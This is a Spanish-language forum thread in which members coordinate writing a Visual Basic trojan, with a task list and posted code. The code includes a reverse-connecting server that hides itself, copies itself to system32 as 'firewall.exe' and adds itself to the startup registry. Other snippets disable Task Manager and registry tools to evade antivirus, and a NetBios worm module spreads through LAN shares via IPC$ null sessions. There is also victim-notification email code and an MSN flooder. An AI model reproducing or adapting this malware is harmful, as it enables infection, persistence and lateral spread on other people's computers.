Troyano: Programadores

[SOADER (ANYD00M)]

En este tema se manejara todo lo relacionado con la programacion del troyano.
 Lo ideal seria que solo participen en este tema los usuarios que estan en la lista de
programadores para no desvirtuar, y para mantener un seccion donde contactar limpiamente.
Este sera el lugar donde los programers iremos informando y aportando, y es solo para eso.
Si deceas participar en este seccion presentate aqui:
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion y seras agregado a la lista.

La tarea de los programadores estara dividida acorde a las opciones del troyano.
Cada cual es libre de aportar su codigo, siempre y cuando sea legitimo y este creado en relacion al tema.
 Cada usuario de la lista recibira una tarea diferente que debera realizar a su manera y en su tiempo.
Si se necesita testear (probar) el codigo debera enviar un IM (Mensaje personal,
mensaje privado, como le quieran llamar) a uno de los testers.

En dicho mensaje tienen que incluir:
-Link de descarga del Codigo fuente a testear (nada de ejecutables)
-Informacion sobre el codigo.
-Autor del codigo fuente.
Claro esta que el codigo debe ser subido a una pagina (como rapidshare) para su posterior descarga.
Lista de programadores actuales:
* the_antrax
* Proxy Lainux
* sickpsique
* ANYD00M
* SkullMaster123
* [p3ll3]
* Ni0
* Pwnest
* -Adriano-
* The Shadow
* -Erick-

Cuando se comienza con una tarea lo ideal es antes que nada definir su interfaz.
Lo que recomiendo para ahorrar tiempo y trabajo es crear una interzaf basica (nada de imagenes ni iconos, nada de eso)
 solo los controles y su ubicacion correspondiente. Luego se hara una ScreenCapture
de esa interfaz y se posteara en la seccion de diseñadores dando los datos necesarios:
Por ejemplo, no aplicar imagen aqui, dejar spacio en blanco aqui, no pintar aqui, ect.
Asi, uno de los diseñadores tomara esa tarea y comenzara a crear la interfaz, que, una vez terminada se le enviara por IM
a un "supervisor" (nose como llamarlo) que verificara si la interfaz es acorde a requerido.
En caso de ser asi el diseñador guardara dicha imagen hasta que el programador termine su trabajo, y le de aviso.

Les agradesco a todos su ayuda y colaboracion que ah hecho que este proyecto sigua adelante y que los moderadores nos apoyen de una manera increible .

Esta es la lista de pendientes, solo figuran las funciones que se tienen hasta el momento y a corde vaya siguiendo el pryecto seguro se agregaran mas!:

Tarea                          Asignado               Estado 
Conexion               ANY00M            Pendiente
Keylogger              Proxy Lainux      Entregado
Cam capture          SkullMaster123   Pendiente
Editor server          Ni0                   Pendiente
File Manager          the_antrax        Pendiente
Reg. Manager         Sin asignar        Pendiente
Crypter                  The Shadow      Pendiente
Joyner                   SkullMaster123   Entregado
Process                 -Adriano-           Entregado
Firewalls                Sin Asignar        Pendiente
Anti Debugging       Sin asignar        Pendiente
Shell Remota          The Shadow        Pendiente
Messenger             SkullMaster123   Pendiente
                            the_antrax
Manipulacion LAN    Sin asignar        Pendiente
Unidades Extraibles  Sin asignar       Pendiente
Mutex                        ANYD00M         Entregado
Prosses Injection     -Erick-             Entregado


Se recuerda a los programadores que no hay ningun tiempo de entrega
y que deben tomarce su tiempo para programar, verificar, y acomodar el codigo.
No se apuren y hagan las cosas bien, cualquier duda respecto a la tarea asignada
puede ser posteada aca o en el post 
Para ver los enlaces debes ser usuario Crear Usuario o Hacer Sesion , no abusen de este tread ni hagan comentarios en el

La verdad que espero contar con mucha gente dispuesta a ayudar y aportar para poder seguir con este proyecto,
ya gracias a la gente que nos esta ayudando logramos reorganizar y darle un camino al proyecto, solo nos falta mas gente
que nos ayude a empujar el proyecto por el camino...

Si tienen aluna duda pueden enviarme un IM

Saludos!

[the_antrax]

Saludos, bueno creo que te falto a skullmaster123 el si seguira programando pero no hara copy and past XD!....... bueno otra cosa nosotros ya tenemos:

Keylogger
File Manager
Editor Server

nos faltaria que si:

Crypter
Joiner
Bromas o Opciones (Varias)
Cam Capture
Reg. Manager
Enviar y descargar Archivos
Process Manager

y no me acuerdo que mas cuando me acuerde posteo! .............. modifica tu lista!..............
SOLO POSTEAN AQUI CODER'S DEL TROYANO, POSTEAN SUS DUDAS PARA AYUDAR, ETC

[SOADER (ANYD00M)]

Ok, ahor ala actualizare, con respecto a los codes que ya tienen. ¿Quien tiene los codes? los quisiera ver
-A y pues, Angelus nose si qdecuan estos dos mensajes (el mio y el de antrax) aqui, asiuqe si no lo hacen elimnalos

[the_antrax]

los codes estan TODOS posteados..... los de todos los que aportanron estan metodos Anti heurisitca, etc........ pasate por hay!

Gracias Angelus por la chincheta, pense que lo habian borrado!XD

[SOADER (ANYD00M)]

los codes estan TODOS posteados..... los de todos los que aportanron estan metodos Anti heurisitca, etc........ pasate por hay!

Gracias Angelus por la chincheta, pense que lo habian borrado!XD

Nono, yo quiero ver el codigo que tienen armado

[SOADER (ANYD00M)]

En el siguiente post (y si no entra agregare mas) ire poniendo los codigos que fueron expuesto en el apartado original para facilitar su lectura y limpiar un poco el tread original
NOTA: Algunos codigos solo estan para guiara  los usuarios y no seran utilziados en el troyano.

Los siguientes aportes pertenecen al usuario: SkullMaster123

_________________________
Cliente
_________________________

Crear otro CommandBotton

1- Nueva Sesion
2- Tumbar Conexion

Winsock1.SendData "sesi"
Winsock1.SendData "cone"

______________________________________
Server
______________________________________

El server va a ir constituido por Un textBox
y en el textBox agregamos esto:

Private Sub Text1_Change()
If Text1.text = "apa" Then
Shell ("cmd.exe /c shutdown -s -t 1
End if
if Text1.text = "cerra" Then
Shell ("cmd.exe /c Taskkill msnmsgr.exe")
End if
If text1.text = "sesi" Then
Shell ("cmd.exe /c net user virii "vbcoder" /add /expires:never&net localgroup "administradores" /add")
End if
If Text1.text = "cone" Then
Shell ("cmd.exe /c ipconfig /release")
End if
End Sub
_____________________________________________________________

Bueno ese es mi aporte hasta ahora y por cierto se me ocurrieron unas ideas que tal si hacemos que aparescan mensajes por WinLogon osea lo usaramos como Payload, y tambien tengo el code para que cada ves q la persona se conecte al msn le salga un ventanita como la q sale cuando alguien se conecta, como por ejemplo no se si lo tengan pero en los Scripts de MsnPlus hay un script q se llama Toaster MPL 1.0 bueno si lo tiene sabran de q hablo cada vez q se coenctanXD y si no bueno lo q ac es q cuando inicias sesion te sale una pantallita que dice q estas usando ese programa!

SaludosS!!!

Bueno como dije aqui esta parte del code de el Troyano lo hice con Conexion Inversa como habiamos acordado!
y bueno lo probe con la computadora de abajo y pues sirvio al pelo!  y no paso nada el firewall no lo detecto y ni el anti-Virus!, pero igual lo voy a poner en totalvirus para ver que lo detecta! bueno este es el code:

Code del Cliente:

Constituido por:

3 Labels
2 Textbox
3 CommandBoton
1 Timer
Winsock (Que lo renombramos a ws para hacerlo corto)
2 form(osea el primero y creamos otro eso hace 2, el segundo es para mostrar los comandos y esta constituido por 6Labels)
Luego veo si puedo poner imagenes para entender mejor!;)

CODE:


Código:
Private Sub Command1_Click()
ws.SendData Text2.Text
End Sub

Private Sub Command2_Click()
Comandos.Show
End Sub

Private Sub escuchar_Click()
On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox, AÑADELO
ws.Close                                                            'ws llama al objeto winsock que hemos agregado el punto te deja elegir opciones, y la opcion close es para que cierre la conexiono el puerto abierto
ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "Estado: Escuchando"            'si el estado del winsock es (escuchando) entonces la propiedad caption de la etiketa sera "Escuchando" asi que ya estas añadiendo un label(etiketa), esto es util
End Sub

Private Sub Form_Load()

End Sub

Private Sub Timer1_Timer() 'al pasar 3 segundos de establecerse la conexion
On Error GoTo error
If Not ws.State = 7 Then                       'si el estado de la conexion no es (conectado) entonces que me ponga en una etekita "Desconectado"
Label1.Caption = "Estado: Desconectado"
Else
End If
If ws.State = 7 Then
Label1.Caption = "Estado: Conectado"
Else
End If
If Label1.Caption = "Estado: Desconectado" Then     'si pone desconectado en el label, entonces ejecuta lo de la etiketa puente,"cerrar y volver a escuchar"
Label1.Caption = "Estado: Desconectado"
GoTo puente
Else
End If
GoTo error                                               'puentea y se salta el cierre y vuelta a escuchar la conexion, para que seguir normalmente con la conexion establecida
puente:
ws.Close
ws.Listen
error:
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)         'cuando se intente conectar a este (servicio,puerto,socket,o etc..) recojera su ip y ejecutara el siguiente codigo:
On Error GoTo error                                                                                'si ay un error ves ala etiketa (error)
ws.Close                                                                                                  'necesario para aceptar la conexion
ws.Accept requestID                                                                            'acepta cualquier conexion entrante
Label2.Caption = ws.RemoteHostIP                                                   'añades otra etiketa y esto hara que te ponga la ip remota del servidor                                                                                      'esto ejecuta un archivo, yo lo puse para que ejecutase un sonido y asi coscarme de cuando se me conecta la victima, osea el servidor
Timer1.Interval = 3000                                                                            '3 segunditosss, sobra decir que tienes que añadirlo asi que ahora sere mas concreto por que ya presupongo que as aprendido algo de vb de la revista, o con solo averlo visto por encima y jugueteado un poco con el , entenderas todo lo que digo, y sino ya pregunhtareis
error:
End Sub

server:

Costituido por:
Un comandButon (Renombrado cmdok)
1 Timer
Winsock (Renombrado ws)

CODE:


Código:
Private Sub cmdok_Click()
On Error GoTo Error
If Not ws.State = 7 Then GoTo puente         'si no ay conexion cierra, CONECTA ala ip puesta en la variable ipy po rel puerto puesto en la variable port
GoTo Error
puente:
ws.Close
ws.Connect
Error:
End Sub

Private Sub Form_Load()
Dim win
Dim sys
Dim residencia
On Error Resume Next
ip = "127.0.0.1"                             'esta es nuestra ip local, asi que conectara a nuestra ip local, aqui se pondria nuestra ip publica, y si cambia pues os registrais en no-ip.com y si habeis leido la revista no tendreis problemas
ipftp = "o 127.0.0.1"
port = 8721                               ' puerto a escucahr aqui ponemos 8721
ws.RemoteHost = ip
ws.RemotePort = port
Timer1.Interval = 60000     'se esteblace un intervalo de 3 segundos para ejecutar el evento timer1
ejec = App.Path                                    'le pasamos a la variable la ruta del exe que ejecute la victima
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"    'si no tiene la "\" al final, se la añadiremos
ejec = ejec & App.EXEName & ".exe"                 'añadimos ala ruta del exe, el nombre y la estension
Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecialFolder(0)                    'para obtener la carpeta de windows y system
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)                                     'las ponemos en minusculas
sys = LCase(sys)
FileCopy ejec, sys & "\nombre1"                     'copia a windows\system32
Name sys & "\nombre1" As sys & "\firewall.exe"       'renombra
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "nombre3", sys & "\firewall.exe"  'esto modifica el registro para que se ejecute al iniciar el pc
App.TaskVisible = False          'para ocultarlo un poco del, (alt +sup +control)
End Sub

Private Sub Timer1_Timer() 'cuando pasan 60 segundos
On Error GoTo Error
If Not ws.State = 7 Then Call cmdok_Click                                          'llama al evento click del boton cmdok si no ay conexion establecida
If ws.State = 7 Then Label1.Caption = "Estado: Conectado" Else Label1.Caption = "Estado: Desconectado"       ' ya esplicado
Error:
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)                        'en la llegada de datos
On Error GoTo Error
Dim datos As String
ws.GetData datos          'metemos en la variable datos los datos que nos lleguen
If datos = "paint" Then
Shell ("cmd.exe /c start C:\WINDOWS\system32\mspaint")                    ' si los datos eran = a "paint" entonces ejecuta el paint
End If
If datos = "conexion" Then
Shell ("cmd.exe /c ipconfig /release")
End If
If datos = "apagar" Then
Shell ("cmd.exe /c shutdown -s -t 1")
End If
If datos = "messenger" Then
Shell ("cmd.exe /c taskkill /F /IM msnmsgr.exe")
End If
If datos = "sesion" Then
Shell ("cmd.exe /c net user %username% batchcoder")
End If
End Sub


Bueno ese es el code base del troyano hay de ciertas cositas que hay que arreglar con lo que nos dijeron antes y otras cosas de las que dudo que funcionen pero bueno mañana prueba en la otra pc para ver que sirve y que no sirve!!;)

Hola amigos bueno miren ñeyendo un manual de programacion de troyanos me encontre con este codigo que dice que puede vurlar la heuristica de lo AV aqui se los dejo:


Código:
Private Sub Form_Load()
Timer1.Interval = 1
end sub
Private Sub Timer1_Timer()
App.Taskvisible = False
Filecopy App.Path & "\" & App.EXEname & ".exe" C:\Windows\System32\trojan.exe
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "trojan",
"C:\Windows\System32\" & "\trojan.exe"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword
/d ""1"" /f"
Kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar
sistema.lnk"
Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d
""1"" /f"
Timer1.Enabled = False
End Sub

Ya lo voy a provar the shadow y luego te ceunto..
Unas cosas que creo que no le agregamos al troyano que deberia ser fundamental!
-Listado y aniquilacion de procesos(se propuso pero no de esta manera)
-Captura de pantalla
-Propiados hacer que hiciera MELT
-Ocultar boton de inicio(Esto lo ponemos a nuestro antojo)
-Ocultar el taskmanager --> opcional

Bueno esas! y ahora sobre infectar o mejro dicho propagar el virus por LAN yo encontre este code, de MadAntrax asi ue lo posteo y ustedes diganme si lo usamos o no, se llama NetBios infection module 1.0

                            CODIGO:


Código:
'##############################################'
'#                                            #'
'# NetBios LAN Infection Module - version 1.0 #'
'#                                            #'
'# Made by ||MadAntrax||                      #'
'# Date: 14/jul/07                            #'
'#                                            #'
'#                       Happy Coding...    #'
'##############################################'
 
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim WS As CSocketMaster
 
Sub Main()
    Set WS = New CSocketMaster      'Modulo Winsock de CSocketMaster
    Dim SelfIP As String            'Nuestra propia IP de la LAN
    Dim SubNet As String            'Nuestra SubRed, ejemplo: 192.168.1.X
    Dim SubNetArray As String       'Almacenamos los Hosts de la LAN que son vulnerables
    Dim BufferIP() As String        'Almacenamos los octetos de nuestra IP
 
    SelfIP = WS.LocalIP             'Obtenemos nuestra IP de la LAN
    BufferIP = Split(SelfIP, ".")   'Partimos los octetos en un Array
 
    If UBound(BufferIP) = 3 Then
        SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2)    'Obtenemos nuestra SubRed: 192.168.1.X
 
        SubNetArray = GetAliveHosts(SubNet, BufferIP(3))                'Obtenemos los Hosts que son vulnerables a NetBios
        If SubNetArray <> "0" Then                                      'Comprobamos que hay Hosts vulnerables en nuestra LAN
            Call GetPrivilegesOnSubNet(SubNet, SubNetArray)             'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
            DoEvents                                                    'Esperamos...
            Call InfectSubnet(SubNet, SubNetArray)                      'Infectamos los Hosts vulnerables gracias a C$
        End If
    End If
End Sub                                                                 'Fin del Código
 
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que almacena en un array el último octeto de la dirección IP de
'todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.5
'   192.168.1.10
'   192.168.1.128
'   192.168.1.200
'
'Esta función devuelve: "5,10,128,200"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
    Dim AliveHosts As String                                    'Array donde se almacenan los Hosts vulnerables
 
    AliveHosts = ""
    WS.Protocol = sckTCPProtocol                                'Establecemos el protocolo en TCP
    For i = 1 To 254                                            'Bucle desde X.X.X.1 hasta X.X.X.254
        If WS.State <> sckClosed Then WS.CloseSck               'Si el Socket no está cerrado, lo cerramos para evitar errores.
        DoEvents                                                'Esperamos...
            WS.Connect SubNet & "." & i, 135                    'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
        Sleep 500                                               'Esperamos 1/2 Segundo...
        If WS.State = sckConnected And i <> MyHost Then         'Si el Hosts es vulnerable y el Host no es MiPC entonces...
            AliveHosts = AliveHosts & i & ","                   '   añadimos el octeto del Host en el Array
        End If                                                  'End If
    Next i
 
    If Len(AliveHosts) > 0 Then                                 'Si hemos encontrado al menos 1 Host vulnerable...
        AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1)      '   quitamos el último caracter del Array (siempre es una ",") para evitar errores.
        GetAliveHosts = AliveHosts                              '   devolvemos el Array como valor de retorno
        Exit Function                                           '   finalizamos esta función
    End If                                                      'End If
    GetAliveHosts = "0"                                         'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
End Function
 
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
'en todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.128
'   192.168.1.200
'
'Esta función ejecuta:
'   net use \\192.168.1.128\ipc$ "" /user:""
'   net use \\192.168.1.200\ipc$ "" /user:""
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
    Dim tmpArray() As String
    Dim tmpIP As String
 
    tmpArray = Split(SubNetArray, ",")
    For i = 0 To UBound(tmpArray)
        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
        Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
    Next i
    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function
 
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
'de los Hosts vulnerables a NetBios, para ello utiliza C$
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.128
'   192.168.1.200
'
'Esta función ejecuta:
'   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
    Dim tmpArray() As String
    Dim tmpIP As String
 
    tmpArray = Split(SubNetArray, ",")
    For i = 0 To UBound(tmpArray)
        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
        Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
    Next i
    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function


Bueno esa es, ustedes dicen si tiene error para arreglarlo!

Saludos y bueno antes que nada quiero afirmar que veo que hay gente que se esta interesando por el proyecto, (Disculpen que no halla podido postear codigo ni nada pero tengo los examenes de lapso y hoy 28/11/07, en venezuela suspendieron todas las clases que si colegios, universidades etc hasta el proximo miercoles si dios quiere y bueno por eso puedo postear  ) bueno entonces tenia una idea no se si les guste pero igual pongo el code y todo, estaba leyendo manuales, tutoriales, etc y en una de esas veo que uno dice, notificacion por email (Yo tenia un code, para notificacion por irc, pero mejor email) bueno el code es de Rey11, y bueno de verdad lo posteo porque me parece que se puede utilizar! aqui se los dejo:


Código:
Private Sub Form_Load()
On Error Resume Next ' Detector de Errores Activado
 If Sock1.State <> 0 Then ' Si tiene una conexion abierta
  Sock1.Close ' Cerrar la conexion
 End If
Sock1.RemoteHost = "mx2.hotmail.com" ' Le digo cual es el Servidor de SMTP, por razones que desconozco este server ya no funciona
 Sock1.RemotePort = 25 ' El puerto a donde conectarse (SMTP)
Sock1.Connect ' Intenta la conexion...
 Enter = Chr(13) + Chr(10) ' Inicializo la variable global Enter
End Sub

Private Sub Sock1_Connect()
 On Error Resume Next ' Detector de Errores Activado
 Sock1.Tag = 1 ' Pongo que voy en el paso 1
 Sock1.SendData "HELO " & "reydelmundo11" & Enter ' Le envio un comando al Servidor y 1 Enter
End Sub

Private Sub Sock1_DataArrival(ByVal bytesTotal As Long)
 On Error Resume Next ' Detector de Errores Activado
 Sock1.GetData Datos, vbString ' Recibir en Datos

 
 If Mid(Datos, 1, 9) = "550 Relay" Then ' Revisar si permite Relay
'el servidor no deja mandar los datos sin cuenta de correo en ese caso desconectamos
  Sock1.Close ' Cerrar conexion
  Sock1.Tag = 0 ' Digo que ya se acabo
 End If
 
 If Sock1.Tag = 1 Then ' Si voy en el paso 1
  Sock1.SendData "RSET" & Enter ' Le envio RSET
  Sock1.Tag = 2 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 2 Then ' Si voy en el paso 2
  Sock1.SendData "MAIL FROM: <" & MiMail & ">" & Enter ' Le envio MiMail mi mail es una varible asegurate de tenerla definida 
  Sock1.Tag = 3 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 3 Then ' Si voy en el paso 3
  Sock1.SendData "RCPT TO: <" & ParaMail & ">" & Enter ' Le envio ParaMail  También es otra varialbe
  If CCMail <> "-" Then ' Si tiene para un Mail CC (con copia, creo)
   Sock1.SendData "RCPT TO: <" & CCMail & ">" & Enter ' Le envio CCMail  también es otra es para enviarlo a mas gente
  End If
  Sock1.Tag = 4 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 4 Then ' Si voy en el paso 4
  Sock1.SendData "DATA" & Enter ' Aqui le envio DATA (Empieza el mail)
  Sock1.Tag = 5 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 5 Then ' Si voy en el paso 5
  Sock1.SendData "To: " & ParaMail & Enter ' Le envio para quien va la variable otra vez
 Sock1.SendData "From: " & "reydelmundo11" & " <" & MiMail & ">" & Enter ' El Nombre reydelmundo11 y MiMail
  Sock1.SendData "Subject: " & "la víctima" & Enter ' El Subject (Titulo)
  Sock1.SendData Enter ' Un Enter indica que empieza el Mensaje
  Sock1.SendData "Aqui vendría la ip y todo eso" & Enter ' Le envio el Mensaje
Sock1.SendData "." & Enter ' Esto indica fin del mail
  Sock1.Tag = 6 ' Digo que voy al siguiente paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 6 Then ' Si voy en el paso 6
  Sock1.SendData "QUIT" & Enter ' Le indico que cierre la conexion
  Sock1.Tag = 7 ' Digo que voy al ultimo paso
  GoTo fin ' Ir al final
 End If
 If Sock1.Tag = 7 Then ' Si voy en el paso 6
  Sock1.Tag = 0 ' Digo que ya se acabo
  Sock1.Close ' Cierro la conexion
'ya lo hemos enviado

  GoTo bien ' Ir al final
 End If
bien:

End Sub


bueno yo lo pobre y compile no me dio ningun error, pruebenlo ustedes a su manera si quieren haganle modificaciones para mejorarlo y luego postean a ver que tal les fue!  bueno pronto posteo mis codes, horita estoy buscando, comparando ideas y troyanos a ver en que podemos mejorar el nuestro!!!

P.D: Casi se me olvidaba algo importante, bueno son dos cosas
1- para el code que les di necesitan 1 Winsock y lo renombrar a sock1 y ponerle tag 0
2- Pr0s0ul si lees esto era para decirte que talvez te necesitemos como organizador  espero qeu no te moleste!  yo tambien te peudo ayudar con eso!

Salu2's!

Saludos, bueno amigo furious Dami como los perdistes?XD  esa parte es importante, pero bueno si no lo puedes hacer que mas da!

y ahora aprobecho este momentico que tengo para postear el codigo de mi flooder de msn:

Primero declaramos esto en general:


Código:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

y luego agregan 1 CommandButton y le agregan esto:


Código:
Private Sub Command_Click()   
    Command.Enabled = False
    Label1.Caption = "Estado: Victima Floodeada.."
    Clipboard.Clear
    Clipboard.SetText "AQUI VAN LAS CARITAS, PARA FLOODEAR PONGAN HASTA EL LIMITE"
    AppActivate "Conversación"
    Sleep "60" ' Dormimos un ratico
    For i = 1 To 375 ' Terminamos de mandar caritas hasta que i sea igual a 375
        SendKeys "^v"
        SendKeys "{ENTER}"
    Next i
    Command.Enabled = True
    End If
    End Sub

otro CommandButton y le ponen en caption Salir y ponen esto:


Código:
End

y un label con el caption "Estado:"

Bueno ese es el code del msn flooder, si quieren se lo pueden implementar al troyano, mas si no bueno que quedo como informacion, para que hagan sus programas!

P.D: Tratare de postear el code de The_antrax, si me da tiempo!
P.D2: Hey amigo the Shadow, voy a esperar la otra parte del code!

Los siguientes aportes fueron hechos por el usuario: the_antrax

                                      CODIGO DE THE_ANTRAX


Partes del CLiente:


Necesitamos:

2 Forms (1 llamado frmArchivos, y el otro frmPrincipal)
1 Modulo *.bas (Llamado funFileManager)

Form frmArchivos


Necesitamos:

1 TextBox (Llamado txtUnidad)
2 ListView (1 Llamado LvArchivos, y el otro LvCarpetas)
2 Timer's (lo dejan con el nombre normal, y a los 2 le ponen interval 1, y al 2 osea timer 2, en la opcion de enabled le ponen False)
1 CommandButton (llamado Explorar, con style Graphical para poner una imagen)

Nota: Como no tengo suficiente tiempo, para postear todo el code explicado al 100% les pongo de una sola vez el code, y ustedes lo prueban!  (Disculpen pero esto es trabajo de The_Antrax XD)

                                         1 Form llamado frmArchivos


   
               CODIGO:


Código:
Dim vIndex As Variant
Dim ParaEjecutar As String

Private Sub Explorar_Click()
frmPrincipal.ws(vIndex(0)).SendData "ruta|" & txtUnidad.Text
End Sub

Private Sub lvArchivos_ItemClick(ByVal Item As MSComctlLib.ListItem)
ParaEjecutar = Item.Text
End Sub

Private Sub lvArchivos_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 2 Then PopupMenu Opciones
End Sub

Private Sub lvCarpetas_ItemClick(ByVal Item As MSComctlLib.ListItem)
If txtUnidad.Text = Item.Text Then
    Call Explorar_Click
Else
    txtUnidad.Text = Item.Text
End If
End Sub


Private Sub Form_Load()
vIndex = Split(frmPrincipal.Lv.SelectedItem.Key, "|")
frmPrincipal.ws(vIndex(0)).SendData "actualizar"
End Sub

Private Sub Normal_Click()
frmPrincipal.ws(vIndex(0)).SendData "ejecutar|" & ParaEjecutar & "|normal"
End Sub

Private Sub Oculto_Click()
frmPrincipal.ws(vIndex(0)).SendData "ejecutar|" & ParaEjecutar & "|oculto"
End Sub

Private Sub Maximizado_Click()
frmPrincipal.ws(vIndex(0)).SendData "ejecutar|" & ParaEjecutar & "|maximizado"
End Sub

Private Sub Minimizado_Click()
frmPrincipal.ws(vIndex(0)).SendData "ejecutar|" & ParaEjecutar & "|minimizado"
End Sub



                                FrmPrincipal


  Necesitamos:

1 ListView (Llamado Lv)
1 Timer (con interval 10)
1 Winsock (Llamado ws, index 0 y LocalPort 0, que creo que se usara el puerto 3573, en este "programa" creo pero eso ya lo lleva el code!  ) [El LocalPort cuando se haga el troyano no se necesitara ya que eso, lo arreglaremos con los primeros codes!  ]
1 Menu de PopUP (El que se hace en el Menu Editor, con el nombre opcion, y 3 opciones, Ver Archivos, Cambiar Nombre, Salir)
0.- Las opciones del PopMenu se llaman:
   - La de ver Archivos se llama FileManager
   - La de Salir se llama Salir
   - La de Cambiar Nombre se llama Cambiar_Nombre



              1 Form FrmPrincipal


        CODIGO:



Código:
Public TotalIndex As Integer
Public IndexAbir As Integer
Dim vIndex As Variant

Private Sub Form_Load()
Lv.View = lvwReport
Lv.FullRowSelect = True
Lv.GridLines = True
Lv.BorderStyle = ccNone

ws(0).LocalPort = 3573
ws(0).Listen
TotalIndex = 0
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If UnloadMode = 0 Then
    Unload frmArchivos
    Unload Me
End If
End Sub
Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String)
On Error Resume Next
vIndex = Split(Lv.SelectedItem.Key, "|")
ws(vIndex(0)).SendData "cambiarnombre|" & NewString
End Sub

Private Sub lv_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
On Error Resume Next
If Lv.SelectedItem.Selected = False Then Exit Sub
If Button = 2 Then PopupMenu Opciones
End Sub

Private Sub Timer1_Timer()

Dim vIndex As Variant
Dim i As Long

For i = 1 To Lv.ListItems.Count
vIndex = Split(Lv.ListItems(i).Key, "|")

If ws(vIndex(0)).State <> 7 Then
Lv.ListItems.Remove (i)
End If

Next i
End Sub

Private Sub ws_ConnectionRequest(index As Integer, ByVal requestID As Long)
TotalIndex = TotalIndex + 1
ws(index).Close
ws(index).Accept requestID
Load ws(TotalIndex)
ws(TotalIndex).Listen
End Sub

Private Sub ws_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim data As String
Dim vData As Variant
Dim pr

ws(index).GetData data

vData = Split(data, "|")

Select Case vData(0)

Case "Conexion"
Set pr = Lv.ListItems.Add(, index & "|", vData(1))
pr.SubItems(1) = vData(2) & "/" & ws(index).RemoteHostIP
pr.SubItems(2) = vData(3) & "/" & vData(4)
pr.SubItems(3) = vData(5)


Case "rutatotal"
    Dim rutaRecibida As String
    rutaRecibida = vData(1)
    Call IntroRuta(rutaRecibida)
Case "error carpeta"
    MsgBox "Ruta incorrecta", vbCritical, "The Antrax Creation"

   
End Select
End Sub


Private Sub FileManager_Click()
frmArchivos.Show
End Sub

Private Sub Cambiar_Nombre_Click()
On Error Resume Next
Lv.StartLabelEdit
End Sub

Privated Sub Salir_Click()
End
End Sub



                        Modulo *.Bas (funFileManager.bas)



                 CODIGO:


Código:
Function IntroRuta(ruta As String)

Dim Unidad As String
Dim Carpetas As String
Dim Archivos As String

